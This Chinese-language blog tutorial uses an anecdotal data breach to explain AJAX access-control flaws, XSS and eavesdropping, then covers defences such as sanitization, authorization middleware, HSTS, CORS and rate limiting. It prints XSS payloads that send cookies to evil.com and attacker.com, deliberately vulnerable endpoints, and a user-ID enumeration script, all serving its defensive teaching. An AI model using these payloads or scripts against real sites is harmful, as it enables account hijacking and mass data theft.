某知名网站因AJAX接口漏洞导致百万用户信息泄露手把手教你防范跨站脚本攻击和数据窃听
那天晚上,某知名网站的工程师小王正在刷着社交媒体,突然被一个消息惊得从椅子上弹了起来——”你的网站炸了,百万用户信息泄露。”他赶紧打开后台日志,发现一群神秘ip在疯狂请求他们的用户信息接口。原来,有人利用网站AJAX接口的漏洞,通过跨站脚本攻击获取了大量用户的敏感数据。
这个小王的故事,其实是很多互联网从业者的真实写照。今天,我们就来聊聊这个让人头疼的话题:AJAX接口漏洞、跨站脚本攻击和数据窃听。
先搞明白,AJAX到底是什么鬼
AJAX(Asynchronous JavaScript and XML)这个词,对刚入行的小伙伴可能有点高大上,其实说白了,就是让网页能和服务器”异步”打交道,不用整页刷新就能获取数据的技术。
举个栗子🌰:你在电商平台刷购物车,商品数量变了但页面没刷新——这就是AJAX在偷偷干活。再比如你登录网站后,页面自动加载你的个人信息,也是AJAX的功劳。
// 一个简单的AJAX请求示例
const xhr = new XMLHttpRequest();
xhr.open('GET', '/api/user/profile', true);
xhr.setRequestHeader('Authorization', 'Bearer your-token-here');
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
const userInfo = JSON.parse(xhr.responseText);
console.log('用户信息:', userInfo);
} else {
console.error('请求失败', xhr.status);
}
}
};
xhr.send();
看着挺正常的对吧?但问题来了——当这些AJAX请求处理不当的时候,就会变成安全漏洞的”后门”。
那个让百万用户”裸奔”的漏洞是怎么来的
回到小王的故事。他负责的网站有个用户信息查询接口:
// 这是那个"惹祸"的接口
app.get('/api/user/info', function(req, res) {
const userId = req.query.userId;
// 直接查询数据库,没有任何验证!
db.query('SELECT * FROM users WHERE id = ?', [userId], function(err, result) {
if (result) {
res.json(result); // 直接把用户信息返回,包含手机号、邮箱等敏感数据
}
});
});
攻击者发现,只要修改请求参数,就能查询任意用户的信息。更糟糕的是,网站没有校验登录状态和权限——也就是说,只要你猜到一个用户ID,就能拿到他的全部信息。
这种漏洞,在业内有个术语叫”越权访问漏洞”,属于OWASP Top 10中的经典安全问题之一。
跨站脚本攻击(XSS):看不见的”暗器”
XSS攻击,全称Cross-Site Scripting,为什么要缩写成XSS而不是CSS呢?因为CSS已经被层叠样式表占用了。
简单来说,XSS就是”把你的脚本,注入到我的页面”。
反射型XSS:一招制敌
攻击者在URL里夹带恶意代码,网站”反射”回来执行:
https://example.com/search?q=<script>document.location='http://evil.com/?cookie='+document.cookie</script>
当用户点击这个链接时,页面会加载这个script标签,浏览器会把它当成正常代码执行。结果呢?用户的cookie(包含登录令牌)就被偷走了。
存储型XSS:持久化的”地雷”
更危险的是存储型XSS,攻击者把恶意脚本存入数据库,所有访问该页面的用户都会中招:
// 评论接口——没有过滤用户输入!
app.post('/api/comment', function(req, res) {
const { content } = req.body;
// 直接存库,没有做任何过滤
db.query('INSERT INTO comments SET ?', { content });
res.json({ success: true });
});
这段代码看起来没问题吧?但如果有人发了这么一条评论:
<script>
fetch('http://attacker.com/steal?data=' + btoa(JSON.stringify(document.cookie)))
</script>
所有看到这条评论的用户,cookie都会被发送到攻击者的服务器。
DOM型XSS:客户端的”坑”
这种XSS不经过服务器,直接在浏览器端执行:
// 页面加载时,把URL参数写入DOM
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');
document.getElementById('greeting').innerHTML = '你好,' + name;
攻击者构造这样的链接:
https://example.com/welcome?name=<img+src=x+onerror=alert('XSS')>
用户一打开,<img src=x onerror=alert('XSS')> 就会被执行。
数据窃听:让攻击者”旁听”你的对话
数据窃听,简单来说就是攻击者能”听到”你和服务器之间的通信内容。
中间人攻击(MITM)
如果你在公共WiFi下访问网站,且网站没有强制HTTPS,攻击者可以在你和服务器之间”监听”所有数据:
你 --------> 服务器 (HTTP明文传输)
你 <--监听--> 攻击者 <--监听--> 服务器
攻击者可以获取你的用户名、密码、cookie等敏感信息。
AJAX接口滥用窃听
攻击者利用漏洞接口,直接批量获取数据:
// 攻击者写的"采集脚本"
const axios = require('axios');
async function stealUserDatas() {
const victims = [];
for (let i = 1; i <= 1000000; i++) {
try {
const response = await axios.get(`https://target.com/api/user/info?userId=${i}`);
if (response.data) {
victims.push(response.data);
}
} catch (e) {
// 超过范围了就停止
if (e.response && e.response.status === 404) break;
}
}
console.log(`获取到 ${victims.length} 条用户数据`);
}
stealUserDatas();
这段脚本循环遍历用户ID,批量获取数据。如果网站没有验证登录状态和权限,几秒钟就能拿到百万用户信息。
怎么防范?手把手教你筑墙
第一道墙:输入验证和输出编码
对每个用户输入,都要当”坏人”来对待:
// 安全的评论处理
function sanitizeHtml(input) {
// 简单版的HTML过滤(生产环境建议用成熟的库)
return input
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
app.post('/api/comment', function(req, res) {
const { content } = req.body;
const safeContent = sanitizeHtml(content);
db.query('INSERT INTO comments SET ?', { content: safeContent });
res.json({ success: true });
});
更推荐使用成熟的库,比如 DOMPurify:
const DOMPurify = require('dompurify');
app.post('/api/comment', function(req, res) {
const { content } = req.body;
const safeContent = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
db.query('INSERT INTO comments SET ?', { content: safeContent });
res.json({ success: true });
});
第二道墙:权限验证——你是谁?你能干什么?
// 添加鉴权中间件
function authMiddleware(req, res, next) {
const token = req.headers.authorization?.replace('Bearer ', '');
if (!token) {
return res.status(401).json({ error: '未授权' });
}
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.userId = decoded.userId;
next();
} catch (e) {
return res.status(401).json({ error: '令牌无效' });
}
}
// 添加权限验证中间件
function authorizationMiddleware(req, res, next) {
const targetUserId = req.query.userId;
// 只能查自己的信息,除非是管理员
if (req.userId !== targetUserId && !req.isAdmin) {
return res.status(403).json({ error: '权限不足' });
}
next();
}
// 使用中间件
app.get('/api/user/info', authMiddleware, authorizationMiddleware, function(req, res) {
db.query('SELECT id, nickname, avatar FROM users WHERE id = ?', [req.query.userId], function(err, result) {
if (result) {
res.json(result); // 只返回必要字段,不包含手机号、邮箱等敏感信息
} else {
res.status(404).json({ error: '用户不存在' });
}
});
});
第三道墙:HTTPS——让传输”加密”
强制HTTPS是防范数据窃听的最基础手段:
# Nginx配置:强制HTTPS
server {
listen 80;
server_name example.com;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
server_name example.com;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
# 安全头
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options nosniff always;
add_header X-Frame-Options DENY always;
add_header Content-Security-Policy "default-src 'self'" always;
}
Strict-Transport-Security(HSTS)头告诉浏览器:这个网站只能用HTTPS访问,防止SSL剥离攻击。
第四道墙:CORS——别让接口”裸奔”
const cors = require('cors');
// 配置CORS,限制来源
const corsOptions = {
origin: ['https://example.com', 'https://www.example.com'],
methods: ['GET', 'POST'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true
};
app.use(cors(corsOptions));
// 或者对特定接口限制
app.get('/api/user/info', cors({ origin: 'https://example.com' }), function(req, res) {
// ...
});
CORS配置不对,任何网站都能调用你的接口,这就是所谓的”跨域漏洞”。
第五道墙:API限流——别让攻击者”刷爆”
const rateLimit = require('express-rate-limit');
// 全局限流
const globalLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15分钟
max: 1000, // 每个IP最多1000次请求
message: { error: '请求过于频繁' }
});
// 敏感接口更严格
const strictLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 100, // 每15分钟最多100次
message: { error: '操作过于频繁' }
});
app.use('/api/user', strictLimiter);
第六道墙:数据脱敏——少给点,别给全
app.get('/api/user/info', authMiddleware, function(req, res) {
db.query(
'SELECT id, nickname, avatar, created_at FROM users WHERE id = ?',
[req.query.userId],
function(err, result) {
if (result) {
res.json(result);
// 不包含:手机号、邮箱、身份证号、地址等敏感信息
}
}
);
});
遵循”最小必要”原则——接口只返回必要的字段,敏感信息通过专门的渠道提供(比如需要再次认证)。
第七道墙:安全头——给浏览器”立规矩”
const helmet = require('helmet');
app.use(helmet());
// 或者手动设置安全头
app.use(function(req, res, next) {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
res.setHeader('Content-Security-Policy', "default-src 'self'");
next();
});
这些头能让浏览器更严格地执行安全策略:
X-Content-Type-Options: nosniff— 禁止浏览器”猜”内容类型X-Frame-Options: DENY— 禁止嵌入iframe,防点击劫持Content-Security-Policy— 限制可执行的脚本来源
小王后来怎么补救的?
那个晚上,小王做了以下几件事:
- 紧急修复:给所有接口加上认证和权限验证,修复越权漏洞
- 数据回溯:导出被泄露的用户数据范围,通过短信/邮件通知受影响用户
- 强制重置:让所有用户强制重置密码,吊销旧令牌
- 引入安全扫描:使用OWASP ZAP和Burp Suite进行漏洞扫描
- 代码审查:聘请安全专家对代码进行全面审计
三个月后,网站重新上线,这次多了完善的安全体系:
┌─────────────────────────────────────────┐
│ 安全防护体系 │
├─────────────────────────────────────────┤
│ 1. WAF(Web应用防火墙) │
│ 2. HTTPS强制 + HSTS │
│ 3. 输入验证 + 输出编码 │
│ 4. 身份认证 + 权限控制 │
│ 5. API限流 + 异常检测 │
│ 6. 安全头 + CSP │
│ 7. 定期安全扫描 + 渗透测试 │
│ 8. 日志监控 + 实时告警 │
└─────────────────────────────────────────┘
如果你是产品经理,怎么推动安全?
很多开发者跟我吐槽:”安全功能排期总是被砍。”确实,安全投入往往”看不见效果”,直到出事。
但换个角度想——出事的成本,远高于预防的成本。
小王那个案例,最终损失了:
- 直接赔偿:约200万元
- 用户信任崩塌:日活下降60%
- 监管罚款:50万元
- 修复和加固:100万+人天
而预防这些问题的成本,可能只需要几个安全功能的开发排期。
所以,下次产品经理说”安全需求不排期”,你可以把这张账给他看。
写在最后
信息安全这东西,就像给房子装锁——你不会因为今天没被盗,就觉得锁没必要装。
那个网站的百万用户泄露事件,给所有互联网从业者敲了警钟。AJAX接口虽然方便,但一旦疏于防护,就是”开门揖盗”。
希望这篇文章能帮到你。如果你正在开发涉及用户数据的接口,花点时间检查下:有没有鉴权?有没有权限校验?有没有输入过滤?数据返回有没有脱敏?
安全无小事,防患于未然。